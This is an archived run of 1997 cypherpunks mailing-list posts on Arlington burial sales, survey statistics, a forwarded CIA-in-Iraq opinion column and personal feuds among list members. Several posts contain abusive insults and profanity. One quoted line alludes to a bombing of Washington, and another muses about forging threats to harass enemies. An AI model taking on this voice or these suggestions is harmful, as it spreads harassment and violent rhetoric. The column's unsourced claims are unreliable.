>      White males and people in their 20s were the most likely to have
>      face-to-face contact, the survey found. Hispanics and blacks were
>      about 70 percent as likely as whites to have interacted with the
>      police.
>      
>      The study was based on a survey of 6,421 people, age 12 and older,
>      and used a sample of residents chosen to represent an entire
>      population. No margin of error was given.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 23 Nov 1997 12:53:11 +0800
To: Eric Cordian <cypherpunks@cyberpass.net
Subject: Re: Junior Jim Bells in Training
In-Reply-To: <199710281425.IAA00588@wire.insync.net>
Message-ID: <v03102811b09d4faf6463@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 7:25 AM -0700 10/28/97, Eric Cordian wrote:
>Two more future cypherpunks added to the list of people who will
>someday "McVeigh" Washington, DC.
>
>I'm surprised sending a flame to one of our elected leadership's
>public email addresses is not already a death penalty offense.
>

Given the ease with which relatively good forgeries can be made, I'm
surprised more people have not had their enemies harassed by forging such
threats in the names of their enemies.

(Vulis, Toto, Detweiler...don't get any ideas.)

- --Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



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Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNHelrFK3AvrfAt9qEQK0BgCcC2F7GwTFOhefNdye8In2+b08+fIAoOYx
3UY+prv8Iaw6VKEgRkN1eUIE
=w0HJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 23 Nov 1997 12:54:51 +0800
To: cypherpunks@toad.com
Subject: Re: [Fwd: [cpj:265] COS]
In-Reply-To: <34774099.4F5E@dev.null>
Message-ID: <v03102800b09d557c02dc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:06 PM -0700 11/22/97, TruthMonger wrote:
>Have you heard of a Mac compatible OS called "COS" from Omega in East
>Germany?
>I just found an article about it in Japanese Mac mag and that says Omega
>announced the OS 11/13 at German MacWorldExpo.
...
>There's an interview with Omega's president in the article saying the OS
>runs on 030, 040 & PowerPC without MacROM inside. So bunch of Mac clones
>and CHRP mother boards from Taiwan etc may find a way....

This past week's issue of "MacWeek" said that this COS has been "delayed,"
with no new introduction date set.

Searching the www.zdnet.com site may reveal this. Or searching on the
company name, of course.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 23 Nov 1997 10:16:33 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton Sells Arlington Burials (fwd)
Message-ID: <1.5.4.32.19971123020247.006c67e8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate chided Dimitri:

>You moron, it has *NOTHING* to do with the military. IT HAS to do with
>citizens who died in the service of their country. The not so surprising
>fact is that the vast majority of those eligible are soldiers. The cemetary
>recognizes their INDIVIDUAL sacrifice and NOT anything to do with the US
>Government per se. Selling burial plots at Arlington should involve
>impeachment.

I agree with Jim's acknowledement of citizen sacrifice. However, Arlington,
like all military cemetaries, is maintained by DoD for its own purposes
beyond recognition of the citizen-soldier. You bet it sells plots to sell plots.

Some citizen-soliders, I'm one, wish to have no association with military 
monuments due to inside knowledge of what the military and its advocates
are up to. Better to be buried unmarked in potter's field than near the
grotesque themepark of The Unknown Soldier and its strutting guards.

I wonder if any of the dead, if they had a say, would wish to be 
used for that purpose, or if its only the families and patriotic hustlers
who have a stake in prettifying the horrible truth: that giving one's life, 
a leg, an arm, a belief in valor and sacrifice, for a treacherous, militaristic 
nation and economy is a nasty deal, no matter how it's monumentalized 
with zillions of white headstones arrayed in sylvan vales like gullible 
soldiers going to kill and die in bloody ignorance.

Even morons grasp that these dishonorable plots are recruiting scams 
cooked up by the living up to no good.

Excuse me for losing it, don't want a war over honor, some pissed vet
to gore me with his pegleg badge of valor, some chickenshit reservist 
to earn a stripe.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 23 Nov 1997 11:22:25 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Survey: Police Satisfaction [CNN]
In-Reply-To: <199711230158.TAA04577@einstein.ssz.com>
Message-ID: <199711230317.WAA22649@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711230158.TAA04577@einstein.ssz.com>, on 11/22/97 
   at 08:58 PM, Jim Choate <ravage@ssz.com> said:

>>      The study was based on a survey of 6,421 people, age 12 and older,
>>      and used a sample of residents chosen to represent an entire
>>      population. No margin of error was given.

6,000 people and that represents the whole country of +250 Million.

Ahhh Statistics the Mathematics of Lies.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Slick Willie <president@shithousehouse.com>
Date: Sun, 23 Nov 1997 11:36:01 +0800
To: cypherpunks@toad.com
Subject: Package Deal
In-Reply-To: <uqDLge1w165w@bwalk.dm.com>
Message-ID: <3477A076.7CEC@shithousehouse.com>
MIME-Version: 1.0
Content-Type: text/plain



SLICK WILLIE'S SHITHOUSE SPECIAL!!!
	-----------------------------------

  For a limited time, Slick Willie is offering you a chance to 
  provide your future children with a Conception-to-Grave life
  experience.
  For a campaign contribution of $1 million, you can conceive
  your child in the Lincoln bedroom and guarantee their burial
  at the Arlington National Cemetery.
  For an addition half-million dollar donation, Slick Willie is
  offering coupons your future children can use to live off of
  Federal Farm Subsidies or Welfare, depending on their preference
  for city-living or the country life. 

  ACT NOW! First hundred contributors will be entered in a drawing
  to be held for a pair of Paula Jones' panties! (A signed and
  numbered piece <pardon the pun> from Slick Willie's personal
  collection.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 23 Nov 1997 13:54:36 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Clinton Sells Arlington Burials
In-Reply-To: <uqDLge1w165w@bwalk.dm.com>
Message-ID: <v03102801b09d64998fc7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:48 PM -0700 11/22/97, Bill Stewart wrote:
>At 05:31 PM 11/22/1997 EST, Dr.Dimitri Vulis KOTM wrote:
>>Having zero respect for the military and all that goes with it, I fail
>>to see what the big deal is.  So he charges money for a burial plot...
>
>At least he's not yet arranging for people to become dead
>so they can be buried there.

But wasn't Vince Foster buried at Arlington?

In any case, Clinton and Kevorkian have worked out a deal, where for a
$10,000 donation in cash, the Lincoln Bedroom can be used.

---Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 23 Nov 1997 12:42:32 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Survey: Police Satisfaction [CNN]
In-Reply-To: <199711230317.WAA22649@users.invweb.net>
Message-ID: <Pine.BSF.3.91.971122221046.7264A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 22 Nov 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199711230158.TAA04577@einstein.ssz.com>, on 11/22/97 
>    at 08:58 PM, Jim Choate <ravage@ssz.com> said:
> 
> >>      The study was based on a survey of 6,421 people, age 12 and older,
> >>      and used a sample of residents chosen to represent an entire
> >>      population. No margin of error was given.
> 
> 6,000 people and that represents the whole country of +250 Million.
> 
> Ahhh Statistics the Mathematics of Lies.
> 

Statistics are used by scoundrels to impress fools.
-Ben Franklin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 23 Nov 1997 14:50:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Seeing Both Sides
In-Reply-To: <a0c766cd7eac94b862b5202e12d07b45@squirrel>
Message-ID: <v03102802b09d6e2dcfcf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:59 PM -0700 11/22/97, Robert Hettinga wrote:

>Hell, 1984 is still behind schedule, and, frankly, it'll never happen,
>because the PERT chart for it is a spaghetti bowl, and because people are
>out there, right now, writing code instead of putting a few hundred rounds
>a week through their ARs and Glocks, holing up in the mountains, throwing
>(metaphoric) rocks at the local gendarmarie, and keeping their lawyers on
>hot-standby.

Spare us the "writing code instead of" appeals to some sort of guilt. The
moral equivalent of "unlike you, I have a _life_." Or the German war guilt
posters, "What have _You_ done for the War today?"

Not many people are "writing code," at least not _interesting_ code, at
least not recently. A lot of reworkings of basic crypto, a lot of
mindnumbingly boring SET crapola, but not a lot of truly interesting stuff.
The remailers, the implementations of digital cash...a lot of those who did
this at one time are now off working at real companies. Unfortunately, they
appear to be mostly buried in corporate projects of little interest to
causes of any importance. (I certainly don't blame them for working for
Verisign, or Cybercash, or whatever.)

Several days ago you listed some number of projects or articles or such
you're working on, and claimed this proved your Greater Worth to the Cause.

I'm happy for you that you believe this to be the case.

In several of your rants you have repeatedly fallen into this pattern of
attempting to lay a guilt trip on me, suggesting, variously, that I should
be sending you money for your dreams, or that I should be funding other
people, or that I should be "doing something."

I'm happy doing what I'm doing. I think I do it pretty well, Certainly
better than learning C or C++ and becoming YACC (Yet Another C Coder). No
insult to C coders, but at age 45, after making a bundle of money doing
physics and AI,  and retiring eleven years ago, I hardly think training
myself at this point to be a C journeyman is what I want to do with my life.

(Nor, as I have said several times, to no avail, am I hot to "fund a
startup." So don't repeat your pleas on this score, either.)

So, as I have said before, knock off on the moralizing about what I should
be doing and about how I'm Not Doing Enough for the Cause. Your moralizing
reminds me of Detweiler, who had an unnatural fixation on me and my exact
words and how my words were torturing him and on and on.

Get a life. Preferably, your own.

Oh, and as for your typically Hettingian "writing code instead of putting a
few hundred rounds a week through their ARs and Glocks" insult, you'd be
surprised to know who I ran into at the Los Altos Gun Range this afternoon.
And to think he was shooting an AR when he could have been coding "for the
Cause"!

Deep down, you're still basically a liberal.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 13:23:46 +0800
To: cypherpunks@toad.com
Subject: Re: (No Subject)
In-Reply-To: <DGPMGGPENBAGCAAA@mailexcite.com>
Message-ID: <B0RLge11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Benjamin Chad Wienke" <woodwose@mailexcite.com> writes:

> >Onan is commonly (albeit incorrectly) credited with the invention of
> >masturbation.  (See Genesis 38:6-10 in the Bible)  I wonder what sort of
> >thoughts the Onan-o-graph induces? [snicker, snicker]
>
> get your demonized molesting mind out of the gutter

I looked up this verse and it sounds more like coitus interruptus than
masturbation.  Onan fucked his sister-in-law, didn't want to knock her up,
so he let his seed spoll on the ground.  For this waste of sperm god
struck Onan dead.  What a fucking asshole.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 13:31:34 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton Sells Arlington Burials (fwd)
In-Reply-To: <199711230104.TAA04427@einstein.ssz.com>
Message-ID: <2csLge12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

> > Subject: Re: Clinton Sells Arlington Burials
> > From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> > Date: Sat, 22 Nov 97 17:31:17 EST
>
> > Having zero respect for the military and all that goes with it, I fail
> > to see what the big deal is.
>
> You moron, it has *NOTHING* to do with the military. IT HAS to do with
> citizens who died in the service of their country. The not so surprising
> fact is that the vast majority of those eligible are soldiers. The cemetary
> recognizes their INDIVIDUAL sacrifice and NOT anything to do with the US
> Government per se. Selling burial plots at Arlington should involve
> impeachment.

You moron, the Americans who died while fighting in Korea, Vietnam,
Panama, Grenada (did any Americans die there?), Haiti, Iraq, etc were
fighting for an evil cause. It's a pity they died, but I've been rooting
for VC. Going back a few years, I have no sympathy for the Americans
who died fighting for the North in the Civil war, or fighting Spain
over the Philippines, or fighting the Philippine freedom fighters,
or exterminating the Indians.  There's no glory in the military.
Clinton is doing a Good Thing by whoring off the plots.

By the way, have the names of the Clinton supporters who bought
the plots been published?  I wonder if that Chinese guy was among them.

How much are the plots anyway?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Nov 1997 13:52:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Seeing Both Sides
In-Reply-To: <a0c766cd7eac94b862b5202e12d07b45@squirrel>
Message-ID: <v0400272bb09d562b7c91@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:17 am -0500 on 11/17/97, Secret Squirrel wrote:


> How quick we are to condemn those who step out of the "norm", no?  As soon
> as someone says something even slightly controversial, our inner censors
> rush in to separate ourselves from that person, to chastise him, to condemn
> him, regardless of the relationship we have developed with him in the past.

I find this particularly interesting in light of my treatment on this list
the past week or so. I point out that Tim threatens a federal judge, and
all shriek apostasy. I never knew there was cypherpunk orthodoxy until now.

It's vaguely refreshing to watch. Makes me feel positively radical.

> Once again, Bob wrote:
> >The world's foremost pseudomystical relativist cited to support an
> >absolutist position. The logic escapes me. But then, logic, much less
> >independent thinking, was never Foucault's strong point.
>
> Perhaps one way of looking at it is that if you can't see the black and
> the white, you're missing the whole picture.

Yes, but I'm not sure that people with a moral handle on their universe
can't see in shades of grey. I just said that relativism is, fundamentally,
an idiot's philosophy.

> After all, who would think that one would need to use an anonymous remailer
> and a pseudonym to express oneself in a free and open society such as ours?

Ironic, isn't it? If I had kept my criticism of Tim anonymous, I wouldn't
have to shovel out from the gales of protest, to mix a metaphor like a dead
horse.

Oh, well. Persistance breeds character, or some such Neitchean platitude.

However, I refuse to be shouted down around here when I'm right.

Armageddon ain't here yet, folks.

Hell, 1984 is still behind schedule, and, frankly, it'll never happen,
because the PERT chart for it is a spaghetti bowl, and because people are
out there, right now, writing code instead of putting a few hundred rounds
a week through their ARs and Glocks, holing up in the mountains, throwing
(metaphoric) rocks at the local gendarmarie, and keeping their lawyers on
hot-standby.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 23 Nov 1997 15:09:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Survey: Police Satisfaction [CNN]
In-Reply-To: <199711230158.TAA04577@einstein.ssz.com>
Message-ID: <v03102803b09d75ffa64e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:11 PM -0700 11/22/97, William H. Geiger III wrote:

>In <199711230158.TAA04577@einstein.ssz.com>, on 11/22/97
>   at 08:58 PM, Jim Choate <ravage@ssz.com> said:
>
>>>      The study was based on a survey of 6,421 people, age 12 and older,
>>>      and used a sample of residents chosen to represent an entire
>>>      population. No margin of error was given.
>
>6,000 people and that represents the whole country of +250 Million.
>
>Ahhh Statistics the Mathematics of Lies.
>

The mathematics of sampling is well known, and is not the main source of
"lies." The law of large numbers, tendency to the mean, etc., are the usual
terms.

It's perfectly plausible, and common, to use samples of a few thousand to
get parameters (one of the few times this word gets used correctly) of a
population of millions, or even billions.

Bigger sources of lies are, of course, how questions are phrased.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Nov 1997 13:59:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711171934.NAA24335@dfw-ix16.ix.netcom.com>
Message-ID: <v0400272cb09d5aa188d0@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:33 pm -0500 on 11/17/97, Monty wrote:

> I am of the opinion that Hettinga still has some value, but he should
> work on his style and do a little more homework before posting.

Homework is for wimps. :-). I work from memory almost all of the time, and
everything I say here can be classified as my opinion, and nothing else.
Most of the things I state as fact are correct, when you root around on
them a bit, like Choate did with the Great Awakening stuff. When I'm wrong
on my memory, like the Aurora stuff, I freely admit it. Usually, I try to
write myself in some wiggle room, which I should have done with Aurora,
because I clearly didn't know what I thought I did about it.

And, frankly, I'm too lazy to go look it up when I'm just spewing a rant to
cypherpunks for my own entertainment, and the occasional witch trial. :-).
If we were doing science around here, Tim, or I, or you, wouldn't have
anything to say.

Check the archives :-) for Tim's comments on how thought out a post on this
list should be. :-). Actually, I'm very serious. Go look.

> I think what he is trying to convey is relentless positive energy and
> friendliness.

I appreciate your charity. I *am* friendly, for the most part, as people
who've met me will probably attest.

> He also doesn't seem to be aware that a good portion of his articles
> are insulting.

Nope. I know exactly when I'm insulting, and, when I write it, I don't care
if some people are insulted. See above. I do like to poke at people, a bit,
just for fun, though I try to let people know that I'm kidding them
somehow. I may feel cause to moderate myself later, of course. Which is a
good thing, too, because I *like* to shoot from the hip, and I *do* take
out people in friendly fire accidents on occasion.

> It's somewhat understandable if he is a recovering
> Democrat.

A little more complicated than that. I was born a John Birch Republican
(Pop helped found the El Paso chapter). Mom was one of those Republican
women who volunteered for, and finally ended up running, other people's
campaigns. She ran Alaskan Congressman Don Young's phone bank in his first
campaign almost 30 years ago, and he's still there. Teenage rebellion in
the mid-70's made me a liberal in high school, and in college, I've joked
about being a LUG (acronym overloading noted): Liberal Until Graduation.
(Yes, Wolfe and Thompson were my favorite authors, at the time, and it
shows, Heinlein, E.E.Smith, Pournelle, and other right-libertarian science
fiction authors are my other writing influences, mostly in childhood.)

Working for a living, particularly for Morgan Stanley when the market took
off in the early 80's, cured me fast of confiscatory government and
spending other people's money for a living. I've spent most of my time
working for, as Tim puts it, "hoity-toity" financial institutions, like
Fidelity, and Citicorp, though for the past few years, I've devoted most of
my time to thinking (which means writing, which is how I think, most of the
time) about the effects of financial cryptography on the net, and, as Tim
rightly says, not actually having a *real* job. :-).

I credit this list, and the eloquence of people like Tim, and Eric, and
Perry, and Duncan, and John, and Nick Szabo, and all the other people I
can't but should remember right now, for driving the last nail in the
coffin of my belief in any government at all. I think, eventually, that the
state will have the same power the church has now. Which is only as much as
we want it to.

> I've seen cases like this before and they are treatable.

Thanks for your extensive wisdom, Dr. Freud. Sheesh. Maybe *you* need a
job, yourself? ;-).

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 23 Nov 1997 12:55:29 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <1b09dfab2e88a90142fd4e8a48293523@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



THE BAY OF CAMELS
 by
 Eric Margolis  25 August 1997
 
 NEW YORK - The CIA's 50th anniversary last month turned out to be
 the Mother of All Bad Birthdays.  
 
 The Agency was still reeling from the defection of senior
 agent Aldrich Ames, who betrayed over 100 agents and CIA's
 inner workings to  Russian intelligence. Ames' monstrous
 treachery almost destroyed CIA's covert branch, and was
 comparable to the near fatal damage inflicted in the 1950's
 on Britain's Secret Intelligence Service by KGB agent, Kim
 Philby.
 
 Just when things couldn't seem to get worse for the
 beleaguered, demoralized Agency,  details of the CIA's
 biggest, most costly operational fiasco since the 1961 Bay
 of Pigs disaster surfaced - right in time for its golden
 jubilee.  Call it Clinton's Bay of Camels.  
 
 This column has followed sporadic CIA attempts over the
 past six years to overthrow Saddam Hussein's regime. All
 failed dismally. But in 1995, bitter family squabbles seemed
 to have weakened Saddam's regime. Two son's-in-law 
 embarrassingly defected to Jordan with highly sensitive
 military and political secrets.  The army was supposedly
 restive. In mid-1995, President Clinton's new CIA Director,
 John Deutch, and his deputy, George Tenet, concluded Saddam
 was vulnerable.
 
 Clinton, eager for a foreign policy triumph, ordered CIA into
 high gear to overthrow or eliminate the vexatious Saddam. The
 Agency had long financed a motley,ineffective collection of Iraqi
 exile groups and Kurdish  factions.  This time, CIA focused its
 efforts on the Iraq National Accord(INA), a group of military and
 political exiles, many formerly part of Saddam's ruling circle.  
 
 By putting them into power, CIA hoped to replicate Saddam's
 iron-fisted regime - but this time with one pro-American and
 minus Saddam. Most important, the CIA-installed generals
 were to ensure oil-rich Iraq stayed united, and did not
 splinter or fall  under Iranian influence.  
 
 CIA set INA up in Amman, Jordan. The US, Saudi Arabia and
 Kuwait provided funding. At Erbil, in the anarchic, US-
 created autonomous Kurdish zone in northern Iraq, CIA
 assembled and trained a small army of exiles and Kurds for
 the invasion of Iraq..   
 
 Agents of INA, paid by the US,  embarked on a bombing and
 assassination campaign inside Iraq,  that killed over 150
 civilians. Terrorism is bad, it seems, when used against
 Americans or Israelis, but fine when used against Iraqis.
 
 By August, 1996, the invasion was ready. It was to begin by 
 a CIA-organized assassination attempt against Saddam.  CIA's 
 army of Kurdish rebels and INA men would advance south from
 Erbil and drive on Baghdad, with massive air support from US
 warplanes and helicopter gunships.  Other anti-Saddam groups
 would invade from Jordan and Kuwait.
 
 Saddam, as usual, knew all about this ham-handed operation
 from his spies  inside INA and Kurdish groups. Souks across
 the Fertile Crescent buzzed with rumors of CIA's `secret'
 invasion. 
 
 Saddam struck first - just before the invasion. He 
 engineered a split between the two largest Kurdish rebel
 groups.  As rival Kurds battled one another, Iraqi armor
 stormed Erbil, the main CIA base in northern Iraq.
 
 The CIA and its mini-army were totally surprised. Senior
 agents fled their base one jump ahead of Iraqi troops,
 abandoning quantities of top-secret documents, electronic
 equipment, and agent lists.
 
 Saddam's dreaded secret police rolled up all CIA's extensive
 networks in Kurdistan and Iraq, executing at least 350
 American agents,  Eighty senior Iraqi officers, poised to
 mount a coup against Saddam from Baghdad, were arrested and
 shot.  
 
 The biggest. most expensive CIA field operation since the
 Bay of Pigs ended a bloody, expensive, humiliating, $200
 million fiasco.  Blame for this catastrophe must be shared
 by  President Clinton, who ordered it, inept CIA Director
 Deutch, a rank newcomer to covert work, and CIA's bumbling
 senior bureaucrats.
 
 As usual,  Clinton ducked the debacle and pretended he
 didn't know about it.  Deutch was fired and replaced as
 Director by his deputy, Tenet. True to recent CIA tradition,
 other responsible senior field officers were promoted. 
 Congress, which is supposed to oversee such major
 operations, has so far shrugged off the disaster. 
 
 The fact that the US government was funding terrorist
 bombings in Baghdad - and Tehran - was ignored by Congress
 and much of the media. As were past attempts by US agents to
 assassinate Saddam Hussein, Libya's Col. Khadaffi, and
 Lebanese Shia leaders, though these acts were outright
 violations of American law. In the Mideast, it seems, all
 rules are suspended: The moral compass spins.
 
 The Iraqi debacle is yet more proof that the bloated,
 demoralized CIA needs massive, not just not just cosmetic
 surgery.  One positive sign: recent appointment of the
 capable Jack Downing, former station chief in Moscow and
 Beijing, as chief of CIA's clandestine Operations branch.
 This is one posting the bureaucrats didn't get.
 
 Depressingly, the cost of the `bloodless' Gulf War `victory'
 keeps rising. Tens of thousands of American troops sickened
 by gas and germs. Over 100,000 Iraqi children dead from
 malnutrition caused by the American embargo of Iraq, and
 Saddam's stubbornness.  The waste of $200 million plus and
 many lives on  botched attempts to overthrow Saddam. Anarchy
 in Kurdistan. The undermining of Iraq's territorial integrity,
 with potentially explosive consequences for the entire region. 
 
 After all this, Saddam still sits proudly on his throne,.
 quite rightly boasting of his great victory at Erbil against
 the Americans.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Nov 1997 13:52:13 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
In-Reply-To: <199711190409.WAA27422@einstein.ssz.com>
Message-ID: <v0400272eb09d644cce6f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:09 pm -0500 on 11/18/97, Jim Choate wrote:


> Fortunately I can lay claim to being either the last of the baby boomers
> or the first of the gen-x'ers depending on whose definition you use.

We're probably close to the same age. I graduated from high school in 1977.

> Personaly, I consider the labels spin-doctorisms intended to focus folks on
> the differences instead of the similarities.

I love pigeonholes and labels. :-). Most of them are right, and you can
alway change them if they don't work. Paradoxically, I do agree that
shoving people into meaningless pigeonholes is, of course, stupid. Race is
one, but, for some reason, age cohort isn't, for me. Go figure.


> Opinions are tied to individuality
> and not geography or chronological ordering. What you actualy have is a
> group of individual opinions that once the observer is aware of the set then
> forms their own opinion of what the original opinions meant.

Again, I'm just plugging things into categories here because it helps me
think about them better. I think opinions may, like memes, originate in the
heads of individuals, but they get passed around.

> The point that always seemed clear to me is that there is an implicit
> assumption with the whole mind/body question, in short; there is more to
> reality than what we experience. Therefore our experience of reality is
> fundamentaly different than reality. A further problem I see is that the
> implied assumption that the observer is seperate and isolated from that
> being observed.

Gotta remember that the Mind/Body problem originated two millenia ago.
Again, I think a combination of ideas starting with Bacon and ending in
neuroscience, killed it off rather nicely. I'm willing to be disabused by
someone who's actually studied the problem lately, though.

> You are using a fundamentaly different science than I use. At no time does
> science assume there is a truth, only interactions that can be manipulated
> and are simple enough in their core interactions for us to understand.

Okay. However, there is a *direction* of inquiry, the thing which drives
science, which, I say at it's heart, is a quest for truth. To know how
things work, if you want to put it that way without using the "T" word. :-).

> Science is nothing more than a methodology for asking questions that fit
> particular and well defined forms.

I.E. That they're replicable? I'm not sure that's different from what I said...

> Please be so kind why heuristics is the only thing we got? Seems to me that
> serendipity has raised its head more than once. As I understand heuristic
> algorithms (ie rule base) is that they pre-suppose a system for goal meeting
> and then go through a itterative process comparing the current position with
> the goal and then reducing that distance.

I think your definition is more refined than mine. I'm saying that
heurisics are rules of thumb. Stupid brain tricks, if you will. Opinions,
and the manipulation of opinion are bound up with those rules of thumb.

> Ah, but there is a rub here. Respect is an opinion.

Recursion is fun stuff, isn't it? :-). Sure. Respect is also related to
influence somehow.


> If you don't know how to ask a question in a scientific manner you can't
> test it. Science itself doesn't say anything about the results directly
> other than they are homogenous and isomorphic, the observer does however when
> we examine the goals and reasons for the experiment in the first place.

I think this is my point. The Null Hypothesis versus H1, and all that. You
have to have an opinion about what's there before you try to test it, and,
of course, decision rules to validate that test.

> To
> observe nature requires a fundamentaly different methodolgy than 'commen
> sense' observation.

This is where my use of the word heuristics, said in anger :-), gets me
into trouble. Heuristics means "common sense" to most people. Rules of
thumb works, but it has a slightly different meaning...

> Further, the realization that there are processes in
> nature that are fundamentaly un-repeatable is what forced the creation of
> statistics and the study of families of events.

